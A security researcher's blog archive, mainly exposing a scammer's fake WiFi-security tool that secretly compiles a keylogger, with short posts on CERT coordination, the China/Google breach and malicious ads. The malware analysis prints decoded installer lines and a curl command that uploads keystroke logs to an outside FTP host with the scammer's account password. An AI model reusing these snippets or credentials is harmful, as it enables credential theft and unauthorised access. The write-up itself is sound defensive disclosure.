Tag Archives: Attack Vector

Tying up loose ends before Vegas (scammer closure)

Instead of updating the post in question (again), I figured I’ll post all the new info here and call this a wrap.

So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking this scam down and getting all the facts right (from the technical aspect of inspecting the keylogger and binaries used to sniff your data, to actually communicating with the scammer and getting his take on things).

Nevertheless, I must say that I appreciate the consistency in which our scammer (I’ll call him Fadzil Mahfodh as that’s his real name) has been trying to mask his wrongdoings. From trying to go around the facts and divert us to other software:

To “bragging” about his skills and the fact that his scripts are “leet” enough to get past some people:

And finally to the obvious – throwing a fit and trolling – initially by threatning to post my picture and CV on adult websites (what would my CV be good for on an adult site anyway??? must be a Malaysian thing 🙂 ):

All of which has been accompanied by adding my picture to his website (wow! I’m famous now!):

Getting it removed by the Google Blogger DMCA team, opening up a new blog site to accompany the specific “hack wpa without a dic” post along with my picture, and making some cosmetic changes to the site, removing the FBI log (which has been replaced with a larger DHS logo), and adding a disclaimer at his website stating that this is all a mistake, that I have been trying to pressure him into criminal actions, and that he has all our communications logged and will be happy to use it to prosecute. Too bad this has been removed from his site before I had a chance to document it – but trust me it was there! Pure epicness!

Now, I know – it’s not really fair to pick on these guys that hard. That’s why I’m leaving this to the Malaysia CERT (as you may have noticed, 1337 Fadzil forgot to proxy his connections to this blog and his IP has been logged on all comments and relevant hits on the site), to figure out how to handle. I truly hope that his suggestion to use the details provided on his paypal account and bank account will actually yield some results, and wish our friend the best of luck in his endeavors in the security business (although I highly doubt he’ll be at DefCon later this week).

Below are attached some of the additional supporting materials for the sake of fully disclosing all the communications with Fadzil.

Apache-access-log_FILTERED, Fadzil-chat, karma-decoded.sh, bg2-decoded.sh

8/18/2010 – Last update (I really hope)

All right, so it seems that the good guys actually win sometimes, so I had to post this quick update just to fill everyone in on what has been going on:

  1. The original site (yeah – the bad design, background music, scam outright) has been brought down. Not sure if it was the Google DMCA team that kept bugging Fadzil on removing my pics, or the Malaysia CERT that came down on him for the malicious and scamming techniques.
  2. The replacement site (chikiabu.blogspot.com) which has been originally set up just to host the infringing materials after Google rained down on Fadzil, is now actually the main site, and SURPRISE – it does not have the scamming software anymore!!! 2 points for the good guys.
  3. The new site still has some “security” software. I have been getting some questions from readers who saw it and didn’t know whether to use it or not. So I had a few minutes to spare today, and have analyzed the “software” provided on it (namely – the famous fi.sh script which is the pinnacle of our subject’s programming skills). Long story short – still scripting with no real software in it. The fi.sh code is (again) a compiles shell script, and… here it is: fi.sh (the decompiled version of course). Funny thing is – obviously there’s no real coding here, just a bunch of “infconfig”, “iwconfig”, “airodump-ng” and “aircrack-ng”. One thing to note though, is that Fadzil makes it look as if each version of the script is designed for a specific wireless adapter – this of course can be achiever by correctly configuring your wireless adapter when running BT. Additionally, the posts on his website still entice users to send him their capture files (although at some point he makes the spelling error of saving a capture file as “.cab” – freudian?), and I’m guessing that he’s going to be asking for some “donation” to keep his site running. Don’t be tempted again kids…

That’s all there is to it I guess. Again – good guys win, site cleaned (and hopefully bad guy learned his lesson). Keep your eyes open out there, and until next time (September in Barcelona and Brussles) bye!

The Turkish hack and another case for IL-CERT

You have been living under a rock if you haven’t heard of the Turkish hack a couple of days ago. Basically – a Turkish hacker forum that bolsters a strong anti-Israeli attitude has been practicing hacking and mostly defacing Israeli sites for the past few months (years).

Now, this is nothing new, and as I stated before, has been going on for years. I’m not even going to go to the political discussion on whether this is sponsored by the government (or have been turned a blind eye by it), as opposed to Israeli hackers that would like to retaliate but know that they would be charged in their country for computer crimes.


The focus here is that there was such a huge media outrage over the fact that so many (more than 100,000) user accounts have been affected, and everyone is scrambling to figure out who should have notified who on what. A couple of funny things to consider in this incident:

  1. There are more than a couple of companies in Israel that specialize in gathering intelligence on such forums as their core business. One company has even been quoted that they knew of this issue months ago.
  2. Some of the accounts that have been breached belong to government personnel (or at least have a .gov.il email account with it’s corresponding password).
  3. The sites that have been breached were not notified until a couple of days ago. They have no-one to consult with in terms of how to handle this incident, or how to fix their issues (ever heard of one-way password hashing??? apparently not…).

Why am I bringing up these specific point? Let’s see, and now from a perspective of a normal CERT that if would have been here would have addressed these as follows:

  1. Companies that deal with security research can send their insights over local security incidents to a coordinating entity – IL-CERT that would manage the anonymous and responsible notification to the affected parties. No need to figure out a local policy for notifications, no need to dig out contact details for obscure police departments and guesstimate whether they even care about your data, and no need to get into the politics of the existing semi-CERTS and who they constituency is.
  2. Coordination and notification to government related bodies would  be handled through the ILGOV-CERT (although their website is not too promising, there are ways to reach them…). Additionally, collateral damage notification would also be handled in the same way (i.e. – a .gov.il site has not been breached, but .gov.il account have been found through breaching a .co.il server. This is the kind of thing that ILGOV-CERT does not know how to handle right now…).
  3. Incident handling support and assistance would have been provided by subject-matter experts to any site that have experienced a breach. No cost associated (unless actual work on the servers or code would have been sought after, in which case the IL-CERT would have probably done a referral as initially it would not be a commercial body).

Simple huh? And you keep wondering how come a place where so much innovation in science, technology and security has come from is still in the dark ages of it’s own internet security…

How [not to] scam security people

I have been playing around with some wireless security for one of my customers lately. Having a pretty solid understanding of how things work, but also having been challenged to try out “everything there is to try” by the client, I went off to look for new tools that I might not have tried before.

It did not take too long, and with the accidental help of TechCrunch (btw TechCrunch – you may want to change this link to something else after you read this…) I ran into this “Wifi Security” site.

Yes, I know, the design is horrible, the scrolling thing on the top of the page is just missing a <blink> tag to drive you into an epileptic seizure, and the music, well, it’s music as part of a website – welcome to the 80’s.

Not being deterred by the horrible design, I went ahead and downloaded the “tools” offered in the article. After all, the FBI are using this guy’s tools…
A quick look, and I was faced with three supposed shell scripts (ended with a .sh), and a tarball called “rogue.tar.gz”.
When you get a shellscript that isn’t a shellscript, and is being reported as an “ELF” executable, you should get your detective hat on, which is exactly what I did.
It didn’t take long, and the scam unfolded pretty quickly. Here’s a quick recap of what’s going on with this guy’s website:

  1. The provided “tools” aren’t even security tools. Initially I figured – ok, so this guy packed a few open source wireless tools and scripted them for easy usage. No. Not even karma which the main script suggests that is being used (appropriately I might add for the purpose of what this script is SUPPOSED to do).
  2. A quick look at the tarball revealed that is actually contains a keylogger that has been graciously stolen from here.
  3. When the main script (karma.sh) is run, two supporting scripts (bg1.sh and bg2.sh) are launched. They are taking care of compiling the keylogger, running it, and pushing the logged keys logfile to an FTP for the attacker (I guess we can call him that now) to use at his convenience.
  4. You are prompted to log into your webmail account, send a request for a free activation code with an indemnity text, which would be answered by the “automatic” processes on their end promptly so you can enter the code into the installer and start playing around with WiFi security. FTW!

Observant readers may notice that I referred to the tool as having “supposed” script files, that are actually binaries, and now I refer back to them as scripts. What gives?
Well, simply put, our attacker didn’t really take the time to code an application, he just wrote a couple of shell scripts, and in order to try to hide his malicious and ill-intent actions he “compiled” them with a utility that packs shellscripts in executable form called shc. The road from a linux executable to realizing what the script originally was is pretty short…

Now, that most of the cards are on the table, we can actually take a look at what scam this guy is running, and how he runs this. Following are some snippets from the shellscript that was presumably a wireless security tool. Even if you are not an avid Linux shellscripter, I’m sure that the annotations (true to the original) will shed some light…

cd lkl2
./configure –silent
make –silent
make install –silent
chmod +x /root/bg1.sh
nohup /root/bg1.sh &
rm -r /root/nohup.out
chmod +x /root/bg2.sh
nohup /root/bg2.sh &
sleep 2
rm -r /root/nohup.out

So, we see how the keylogger is compiled, installed and the supporting scripts bg1 and bg2 are run.
Next up, is the installer itself (if one can call that) which prompts for the user to send a FREE activation request to the attacker:

echo “”
echo “——————————————————— “
echo “——————————————————— “
echo “”
echo “1. Compose indemnity text below and send to [email protected]
echo “ Yes, I want activation code and will never use for illegal purpose”
echo “”
echo “2. Check your email for activation code after sending text “
echo “”
read -p “3. Send now ? (0=no, 1=yes) “ act

Obviously, the message WILL appear, as this thing is NEVER going to be activated – remember – this is a shellscript, and the “menu” appears as-is unconditionally so you can try to activate this until blue in the face… but we are getting ahead of ourselves.

I mentioned in the title that the scam is targeting security people. Besides the obvious wireless security related topic, here’s another little piece of “evidence” from the script:

read -p “Which backtrack are you using ? (bt3=3,bt4=4) ” bt

Our little friend is assuming that we are using BackTrack (as most security folks do) to run their wireless tests… the script continues according to which version of BT is entered (to accommodate the differences in network configuration…).
I’ll skip through the network connectivity checks (trust me), and next up the attacker makes sure that firefox isn’t running, and:

firefox https://login.yahoo.com/ &
sleep 4
firefox https://www.google.com/accounts/ManageAccount &
sleep 4
firefox http://home.live.com/

The attacker obviously wants us to log into one of our webmail accounts so we can send him that activation request email with the indemnity text (how considerate). Keeping in mind that the keylogger is on and it’s activities are uploaded in the background to the attacker’s FTP – this is exactly where most people will fall into the trap.

And for the grand finale – the actual activation (you’d think huh?):

echo “”
sleep 3
echo “You have entered an invalid code ”
echo “”

You have to admit that commented code is the best! It’s actually saying “decoy”! How f*&^ing awesome is that? You get to craft your email after logging into your Yahoo!/Gmail/Live account, and then go back to this completely useless activation part. I do like the fact that the author put a “sleep 3” before letting you know that you entered the wrong code. As if it was hard at work verifying it. Classic.

That’s about it for the technical analysis, but it wouldn’t be complete without the actual interaction with the attacker, wouldn’t it? Let’s see – so, we crafted a “request for free activation” email with the indemnity text in it, and guess what – we got a reply!


1. We are preparing the activation code for you.

2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c [email protected] ?



So not only there is no activation code to be “prepared” for me (what? I’m going to feed it to the “decoy” and it’ll magically work?), we are being prompted to donate some cash for the poor bastard who worked so hard to make this tool for the community…
I cordially answered that:

1. Thanks. I’ll be looking forward for the activation code.

2. I’ll probably consider it after being able to test out the tool.

Which was replied with a suggestion to try the trial version on his site (which relates to a completely different tool, but let’s not be too picky about it…).
Now, thankfully, I was using one of my throw-away yahoo accounts, and apparently so our attacker. If you haven’t noticed, one of the cool things in the new Yahoo! webmail is that you get an indication whether the person emailing you is online or not, and you can chat with them!
Guess what happens next…

—– Our chat on Wed, 7/7/10 2:53 PM —–
Iftach(2:34 PM):  hey man
Iftach(2:34 PM):  mind if a ask a couple of questions?
fadzilmahfodh(2:34 PM):  okey
Iftach(2:35 PM):  cool. I’m doing this research on security tools and their
fadzilmahfodh(2:35 PM):  okey
Iftach(2:35 PM):  saw your tool and wanted to hear about how you got to write
it, how well is it distributed in the community etc…
Iftach(2:36 PM):  does that activation thing a common practice with free tools?
fadzilmahfodh(2:36 PM):  yes see, we need to maintain our website thus we need
fadzilmahfodh(2:37 PM):  everyday there are at least 500++ people asking for
Iftach(2:37 PM):  I see.
fadzilmahfodh(2:37 PM):  i no longer able to provide for free
fadzilmahfodh(2:37 PM):  too time consuming and i need to be compensated for my
time and effort
fadzilmahfodh(2:38 PM):  hope you understand

Time and effort? Right… For a scam script that doesn’t even have any networking functionality… Ok, I’ll go along…

Iftach(2:40 PM):  now, about the tool – that’s a linux binary obviously (thought
it was a shell script at the beginning). Did you base it on something existing
or write yourself?
fadzilmahfodh(2:41 PM):  i wrote it by my self then scramble the code
Iftach(2:41 PM):  hence the activation i see…
fadzilmahfodh(2:42 PM):  i can afford to give ‘free lunch’ to everybody. Hope
you understand
Iftach(2:43 PM):  sure, i understand.
fadzilmahfodh(2:43 PM):  So you interested in the software?
Iftach(2:44 PM):  more from a research point of view – for an article I’m
Iftach(2:44 PM):  so, the installer you use, I see that it contains some
additional code that is being compiled on the client.
fadzilmahfodh(2:45 PM):  Yes. The purpose is the code will be unique to user
Iftach(2:45 PM):  and I saw that there were some FTP connections made? Is that
to verify that the client is a registered one?
fadzilmahfodh(2:46 PM):  Well, that is another story…
Iftach(2:46 PM):  I’m listening
fadzilmahfodh(2:46 PM):  maybe some other time huh
Iftach(2:47 PM):  OK. Last question – do you get a lot of account passwords
through that keylogger that sends the data to your FTP?
fadzilmahfodh(2:47 PM):  sorry, no comment unless i am in court

At this point of my “interview” with him, I guess that my cover was going to get pretty real, hence this “article” that you are reading… You can’t make this stuff up so I figured I’ll blog it…

Iftach(2:48 PM):  aha, and it’s part of the installer because? just to make sure
people can send the activation email correctly?
Iftach(2:48 PM):  Back to statistics, out of the average 500 ppl asking for
activation – how many passwords do you manage to grab?
fadzilmahfodh(2:49 PM):  well, the ftp is to confirm that software match with
data in server
fadzilmahfodh(2:49 PM):  if it does not match, it will fail to run
fadzilmahfodh(2:49 PM):  or i can just change the data/activation code in the
fadzilmahfodh(2:49 PM):  then everything will not run
Iftach(2:49 PM):  and how does that relate to the keylogging?
fadzilmahfodh(2:50 PM):  well, that i another story…
Iftach(2:51 PM):  I mean – the keylogger data is sent to that FTP. Is that part
of the verification or is this a separate process?
Iftach(2:51 PM):  So, on average, how many accounts you manage to get on that
FTP server per day?
fadzilmahfodh(2:51 PM):  well, you do not even support my website and how the
hell am i going to tell you
Iftach(2:52 PM):  Let’s just get it straight – I’m not going to “support” the
site… I’m just doing some research on security tools.
fadzilmahfodh(2:52 PM):  bye
Iftach(2:53 PM):  You are free to tell, or not if you don’t want to. But I’m
publishing the story as it is…
Iftach(2:53 PM):  With your acknowledgment that you use a keylogger to steal your
site visitor passwords. Unless you want to be quoted otherwise in the story…

True to my chat with Fadzil (or whatever his name is), I’m telling it the way it is.

But wait, there’s more!!! more? how come? well, just to put some icing on this, I went back and decoded the script that was in charge of the FTP upload…

curl -s -k –ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt

Just to see the final lameness come to life as I tested the account:


And you know what – it’s all our fault! If we as a community would have “donated” to this guy for all his hard work and effort that he’s been putting in creating tools that are used by the FBI (check out his site…), he would have had the money to keep his driveHQ account in order and could make a decent living out of ripping people off.


p.s. you can find me talking about this entertaining even on the ISDPodcast with my buddy Rick, I just had to vent off before putting this in writing, so hopefully this account is a bit more thorough and to your liking…

Update 7/13/2010: I could not have wished for better response from the community on this post, but having the actual culprit respond here is priceless. As you can probably see, Fadzil has posted a comment, and to sum things up let me just state that I’m not that surprised by its content (I think it’s called “pulling a ligatt” these days…). On one hand he offhandedly dismisses that there was ever such an issue with a keylogger, on the other hand he promises a better version with (and I’m quoting): “rogue ap + fake login page + keylogger + ftp = to get WPA or WPA2 password”.

You don’t say?! I’m still waiting for the security practitioner that will explain to me why would anyone need a keylogger + ftp to use a rogue AP with fake login pages. I’m really hoping that this post helps the community learn more on criminals such as the one we are dealing with here. Don’t be tempted to “smooth-talk” that tries to look technical and hackerish while having nothing behind it. And if you have had any additional experiences with this guy feel free to add them to the comments or email me so I’ll update this story for everyone’s benefit.

The China/Google thing, accountants and other miscreants

Aha! Can’t believe I managed to avoid the unbelievable hype flood that swept across the interwebs in the last month. And to think that the last post (long overdue, I know… had REALLY good reasons for not being able to post anything) was somewhat oracleish in predicting that this would be the focus of this year.

Just to set the stage right – we are at a point where I just saw a USA Today “Money” section front page article on how Google’s engagement with the NSA post the breach will affect the security vendor market, and a few VCs were also quoted to the fact that we will be seeing IPOs this year that will ride this trend.

Overhyped – definitely. Real – just as it’s overhyped. You must be asking then what to do? If the hype is too much, then there must not be so much behind these scary global cyberwar threats! Not exactly – the threat exists, and countries do deal with making sure they have an edge over everyone else (see how I didn’t use adversaries… hint, hint 😉 ), but at the same time this has been happening for years now.

The news here is somewhat lukewarm when compared to the hype. The news is that it is becoming common knowledge that companies tend to miserably fail when keeping their own intellectual and informational assets under wraps. The news is that even the “do no evil” Google(tm) have their own share of problem using old(tm) (or should I say pathetically insecure?) software inside the Googleplex.

But let’s dig a little deeper past the hype – have anyone heard of the fourty-something other “big” companies that were affected? have anyone heard of the thousands of companies that deal with data of sensitive nature (whether they know it or not) that also have a big job ahead of them dodging the flak from their local government trying to make sure the exposure is somewhat lessened? Probably not.

I’ve have the questionable pleasure of assisting some of these entities – which have anywhere between loose and close ties to local and federal government (either providing data at will, or being relied on for compiling national threat level information at varying level of the threat modeling). Without getting into any specific details I can truly say that I was simply disappointed. A lot of good people trying to do good things, but ev

entually (as always) a big fat failure due to some sideline error brings the whole security architecture down. Things as easy as applying service packs, eliminating use of old un-pached software (IE6 – are you still here? I think I to

ld you to get out and never come back again!) and just plain good-ole’ malpractice.

Without sounding too dreary (I’m sure the horrible weekend east-coast weather is doing that to me) we still have our work cut out for us. As long as people (non-security-industry ones) are ignorant regarding the implications of their actions in an all-connected world (nice evasion of “cyberworld”!), holes will be cut open in any modern security design – no matter how well it was thought to be, or how much money was thrown into it. With almost zero-cost, we managed to implement an “idiot-proof” system that would just stop these things from happening for one of the companies…

What can you do? remember how we were taught to plan for the worst – count people in that too. Your people. They may be the smartest guys in accounting, or marketing, or production, but in terms of information assurance they can be your worst enemy (no offense guys, but it’s just like that…).

Malicious ads circa 2007

Sometimes the only thing you can say about something boils down to the sound of your palm hitting your forehead. We have been seeing many ways in which criminals try to attack unsuspecting users and take over their PCs. One of which has been for quite some time the usage of advertisements as a vehicle to run malicious code on the victim’s browser – also exploiting the fact that these ads show up on the most legitimate sites.

Recently, I ran across an article that “exposes” such a scheme as if it was completely new (see Register article here). My initial response was to tweet about it as it reminded me of how we covered the same issue some years ago. It was late and I was trying to recall how far back was it since this coverage, and surprisingly I got it right! 2007…

Having been running this blog which saves all of my “historical” posts, there is even one dating back to September 2007 here, which references a report I issued for the 2nd quarter of 2007 (means it was written in May) and tracks the story published on the Q1 report (which would mean that I almost missed it and some of these were tracked back at the end of 2006). Funny story how a 3 year old news is reemerging now… For your comfort here are a couple of excerpts from the original research (find the differences…):

Numerous parties are often involved in getting an ad from an advertiser to a consumer. These include advertisers, ad agencies, advertising affiliate networks, adware makers, software makers, distribution affiliates, distribution affiliate networks, and websites. This complicated network of relationships can make it difficult for advertisers to know exactly where their ads are being delivered.

As websites depend more on advertising revenues, they often display ads from third party advertising networks, over which they have little or no control. While legitimate website owners trust advertisers to display non-malicious content, advertisers sometimes “sublet” their space to others. This hierarchy can often comprise several layers, seriously compromising the level of control the website owner has over advertising content.

Bottom line – same as always. If it works, no point of changing anything. Back at the time we were watching sites such as MLB.com, CNN.com and other high profile ones serve malicious ads, and today the situation is not any different. And I thought that I had to keep on the cutting edge of research to keep up in this line of business 🙂

Keep safe!